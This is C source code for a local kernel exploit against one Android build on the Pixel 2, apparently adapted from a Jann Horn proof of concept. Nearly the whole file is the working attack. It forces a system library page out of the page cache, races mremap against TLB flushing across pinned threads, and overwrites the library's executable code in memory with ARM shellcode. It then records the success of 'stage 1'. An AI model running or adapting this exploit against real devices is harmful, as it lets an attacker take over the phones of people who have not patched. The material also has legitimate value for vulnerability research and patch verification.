// for Pixel 2, build google/walleye/walleye:9/PQ1A.181105.017.A1/5081125:user/release-keys
// 20190304, chengjia4574@gmail.com
// code is from Jann Horn

#define _GNU_SOURCE
#include <stdlib.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sched.h>
#include <err.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>
#include <sys/time.h>
#include <errno.h>
#include <sys/prctl.h>
#include <signal.h>


#include "arm_shellcode.h"

#define RAM_SIZE (3744240UL*1024UL)
#define SPAM_SIZE (RAM_SIZE * 2)

#define VICTIM_FILE "/system/lib64/libandroid_runtime.so"
#define VICTIM_SIZE   0x21cef0
#define VICTIM_OFFSET 0x157000
#define EXPECTED_CODE 0xeb08005f91007108UL

#define CORE_TARPIT  3
#define CORE_MUNMAP  4
#define CORE_CLOBBER 5
#define CORE_PREEMPT 6

#define TLB_USAGE 200

#define ADDR1 ((void*)0x1000000000UL)
#define ADDR2 ((void*)0x2000000000UL)

#define AREA_SIZE   0x20000000

int file_fd = -1;
int victim_file_fd = -1;
int worker_launch_pipe[2];
int spinner_cont_pipe[2];
volatile int worker_tid = -1;
volatile int spinner_verbose = 0;
volatile int spinner_tid = -1;
volatile int spinner_state = 0;
volatile int worker_seen_spinner = 0;
volatile int swap_count;
volatile unsigned long seen_values[1000];
volatile int seen_values_ctr = 0;
volatile int slot_log = -1;

bool check_in_core(void *ptr) {
  unsigned char c;
  if (mincore(ptr, 0x1000, &c)) err(1, "mincore");
  return c & 1;
}

void pin_task_to(int pid, int cpu) {
  cpu_set_t cset;
  CPU_ZERO(&cset);
  CPU_SET(cpu, &cset);
  if (sched_setaffinity(pid, sizeof(cpu_set_t), &cset))
    err(1, "affinity");
}
void pin_to(int cpu) { pin_task_to(0, cpu); }

unsigned long get_us() {
  struct timeval tv;
  if (gettimeofday(&tv, NULL))
    err(1, "gettimeofday");
  return ((unsigned long)tv.tv_sec)*1000000UL + (unsigned long)tv.tv_usec;
}

unsigned long get_pt_size(int status_fd) {
  char buf[0x1000 + 1];
  ssize_t res = pread(status_fd, buf, 0x1000, 0);
  if (res <= 0)
    err(1, "status read");
  buf[res] = 0;
  char *p = strstr(buf, "VmPTE:");
  if (!p) errx(1, "bad status");
  p +=  6;
  while (*p == '\t' || *p == ' ') p++;
  return strtoul(p, NULL, 10);
}

void *idle_worker(void *dummy) {
  worker_tid = syscall(__NR_gettid);
  if (write(worker_launch_pipe[1], "X", 1) != 1)
    errx(1, "write wlp");

  struct sched_param param = {
    .sched_priority = 0
  };
  if (sched_setscheduler(0, SCHED_IDLE, &param))
    err(1, "sched_setscheduler");

  sleep(2);

  if (mremap(ADDR1, AREA_SIZE, AREA_SIZE, MREMAP_FIXED|MREMAP_MAYMOVE, ADDR2) != ADDR2)
    err(1, "mremap");

  while (1) pause();
}

void *nicer_spinner(void *dummy) {
  pin_to(CORE_TARPIT);
  while (1);
}

void *spinner(void *dummy) {
  bool trunc_seen = false;
  spinner_tid = syscall(__NR_gettid);
  if (write(worker_launch_pipe[1], "X", 1) != 1)
    errx(1, "write wlp");

  int wss_shown = 0;

  char scpc;
  if (read(spinner_cont_pipe[0], &scpc, 1) != 1)
    errx(1, "read scp");

  while (1) {
    int wss = worker_seen_spinner;
    if (wss != wss_shown) {
      wss_shown = wss;
      printf("worker has seen %d\n", wss);
    }
    if (spinner_verbose) {
      if (!trunc_seen) {
        spinner_state++;
        pin_task_to(worker_tid, CORE_TARPIT);
        if (fallocate(file_fd, FALLOC_FL_PUNCH_HOLE|FALLOC_FL_KEEP_SIZE, 0, TLB_USAGE*0x1000)) err(1, "fallocate");
        char dummy_buf[1];
        if (pread(victim_file_fd, dummy_buf, 1, VICTIM_OFFSET) != 1) err(1, "pread");

        void *pin_map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED|MAP_LOCKED, victim_file_fd, VICTIM_OFFSET);
        if (pin_map == MAP_FAILED) {
          err(1, "pin_map");
        }

        while (1) /*spin*/;
      }
      spinner_verbose = 0;
      spinner_state++;
      printf("spinnnnner\n");
    }
  }
}

void tell_succ() {
  int fd = open("/data/local/tmp/succ", O_CREAT);
  write(fd, "stage 1 ok", 16);
  close(fd);
}


void segv_handler(int dummy) {
  write(1, "TLB flush received\n", 19);

  // yes, yes, stdio in signal handler. it's fine. we don't (intentionally)
  // crash inside libc.
  if (swap_count != 0) {
    printf("***** SWAP COUNT: %d\n", swap_count);
  }
  if (slot_log != -1) {
    printf("  ### SWAP AT SLOT: %d\n", slot_log);
  }
  for (int i=0; i<seen_values_ctr; i++) {
    if (seen_values[i] != 0xccccccccccccccccUL) {
      printf("  *** SEEN: 0x%016lx\n", seen_values[i]);
    }
  }

  void *pin_map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED|MAP_LOCKED, victim_file_fd, VICTIM_OFFSET);
  if (pin_map == MAP_FAILED) {
    err(1, "FAIL0");
    exit(0);
  }
  unsigned long num = *(volatile long *)pin_map;
  char hex[17];
  for (int i=0; i<16; i++) {
    int nibble = (num >> ((15-i) * 4)) & 0xf;
    hex[i] = (nibble < 10) ? ('0' + nibble) : ('a' + (nibble - 10));
  }
  hex[16] = '\0';
  printf("target file page starts with: %s\n", hex);
  if (num == 0xd4200000d4200000UL) {
    unsigned int equal_bytes = 0;
    while (equal_bytes < 0x1000) {
      if (((unsigned char*)pin_map)[equal_bytes] != arm_shellcode_bin[equal_bytes]) break;
      equal_bytes++;
    }
    if (equal_bytes == 0x1000) {
      printf("STAGE 1 OK\n");
      tell_succ();
      //while (1) pause();
    } else {
      printf("ERROR: stage 1 diverges @0x%x, retry\n", equal_bytes);
    }
  }
  sleep(1);
  exit(0);
}

void *read_worker(void *dummy) {
  pin_to(CORE_CLOBBER);

  bool pin_to_slot = false;
  while (1) { for (int i=0; i<TLB_USAGE; i++) {
retry_swap:;
    unsigned long expected = EXPECTED_CODE;
    unsigned long *addr = (unsigned long *)(ADDR1 + 0x1000UL * i);
    bool swapped = __atomic_compare_exchange_n(
      addr,
      &expected,
      0x1337133713371337UL,
      false, __ATOMIC_RELAXED, __ATOMIC_RELAXED
    );
    if (swapped) {
      pin_to_slot = true;
      swap_count++;
      slot_log = i;
      while (1) {
        memcpy(addr, arm_shellcode_bin, sizeof(arm_shellcode_bin));
      }
    } else {
      *(volatile char *)arm_shellcode_bin;
      *(volatile char *)(arm_shellcode_bin+0xfff);
      for (int i=0; i<seen_values_ctr; i++) {
        if (seen_values[i] == expected) goto end_swapfail;
      }
      if (seen_values_ctr < 1000) {
        seen_values[seen_values_ctr++] = expected;
      }
end_swapfail:;
    }
  } }
}

int kickout_victim_page(void) {
  unsigned long off;
  setbuf(stdout, NULL);

  int fd = open(VICTIM_FILE, O_RDONLY);
  if (fd == -1) err(1, "open");
  char *victim_map = mmap(NULL, VICTIM_SIZE, PROT_READ, MAP_SHARED, fd, 0);
  if (victim_map == MAP_FAILED) err(1, "mmap");
  if (madvise(victim_map, VICTIM_SIZE, MADV_RANDOM)) err(1, "madv random");
  void *victim_page = victim_map + VICTIM_OFFSET;
  printf("in core initially: %d\n", (int)check_in_core(victim_page));

  int spam_fd = open("spam_file", O_RDWR|O_CREAT|O_TRUNC, 0666);
  if (fallocate(spam_fd, 0, 0, SPAM_SIZE)) err(1, "fallocate");

  // https://arxiv.org/pdf/1710.00551.pdf ("Another Flip in the Wall of
  // Rowhammer Defenses"), section VIII-B says:
  // "A fundamental observation we made is that the replacement algorithm of the
  //  Linux page cache prioritizes eviction of nonexecutable pages over
  //  executable pages."
  // In shrink_active_list() and page_check_references() in mm/vmscan.c, you can
  // see that file-backed executable pages get special handling.
  char *spam_map = mmap(NULL, SPAM_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, spam_fd, 0);
  if (spam_map == MAP_FAILED) err(1, "mmap spam");

restart:
  printf("starting\n");
  unsigned long ts = get_us();
  while (1) {
    for (off = 0; off < SPAM_SIZE; off += 0x1000UL) {

      unsigned long cts = get_us();
      if (cts > ts + 300000) {
        if (!check_in_core(victim_page)) goto read_around;
        ts = cts;
      }

      *(volatile unsigned long *)(spam_map + off);
    }
    bool ic = check_in_core(victim_page);
    printf("in core (spamming): %d\n", (int)ic);
    if (!ic) break;
  }
read_around:
  printf("starting read-around\n");
  for (off = 0; off < VICTIM_SIZE; off += 0x1000) {
    if (off == VICTIM_OFFSET) continue;
    //printf("RA at 0x%lx\n", off);
    bool ic = check_in_core(victim_page);
    if (ic) {
      printf("!!! back in core\n");
      goto restart;
    }
    *(volatile char *)(victim_map + off);
  }
  printf("stopping\n");

  return 0;
}

int trigger(void) {
  setbuf(stdout, NULL);

  signal(SIGSEGV, segv_handler);

  victim_file_fd = open(VICTIM_FILE, O_RDONLY);
  if (victim_file_fd == -1) err(1, "unable to open victim file");
  if (posix_fadvise(victim_file_fd, 0, 0, POSIX_FADV_RANDOM)) err(1, "posix_fadvise");

  pin_to(CORE_MUNMAP);

  if (pipe(worker_launch_pipe) || pipe(spinner_cont_pipe))
    err(1, "pipe");

  file_fd = syscall(__NR_memfd_create, "truncate-me", 0);
  if (file_fd == -1) err(1, "create");
  if (ftruncate(file_fd, AREA_SIZE)) err(1, "trunc init");
  if (mmap(ADDR1, AREA_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, file_fd, 0) != ADDR1)
    err(1, "mmap 1");
  if (madvise(ADDR1, AREA_SIZE, MADV_NOHUGEPAGE) && errno != EINVAL)
    err(1, "advice");
  memset(ADDR1, 0xcc, AREA_SIZE);

  pthread_t thread;
  if (pthread_create(&thread, NULL, idle_worker, NULL))
    err(1, "pthread_create");
  if (pthread_create(&thread, NULL, spinner, NULL))
    err(1, "pthread_create");
  if (pthread_create(&thread, NULL, nicer_spinner, NULL))
    err(1, "pthread_create");
  if (pthread_create(&thread, NULL, read_worker, NULL))
    err(1, "pthread_create");

  pin_to(CORE_PREEMPT);

  char wlpc;
  if (read(worker_launch_pipe[0], &wlpc, 1) != 1 || read(worker_launch_pipe[0], &wlpc, 1) != 1)
    errx(1, "read wlp");

  sleep(1);

  int status_fd = open("/proc/self/status", O_RDONLY);
  if (status_fd == -1)
    err(1, "open status");

  unsigned long orig = get_pt_size(status_fd);
  int bumped = 0;
  while (1) {
    unsigned long nsize = get_pt_size(status_fd);
    if (nsize != orig) {
      spinner_verbose = 1;
      if (!bumped) {
        if (write(spinner_cont_pipe[1], "x", 1) != 1)
          errx(1, "spinner_cont_pipe");

        bumped = 1;
      }

      orig = nsize;
    }
  }

  pause();
}

int main(int argc, char** argv)
{
	kickout_victim_page();
	trigger();
}
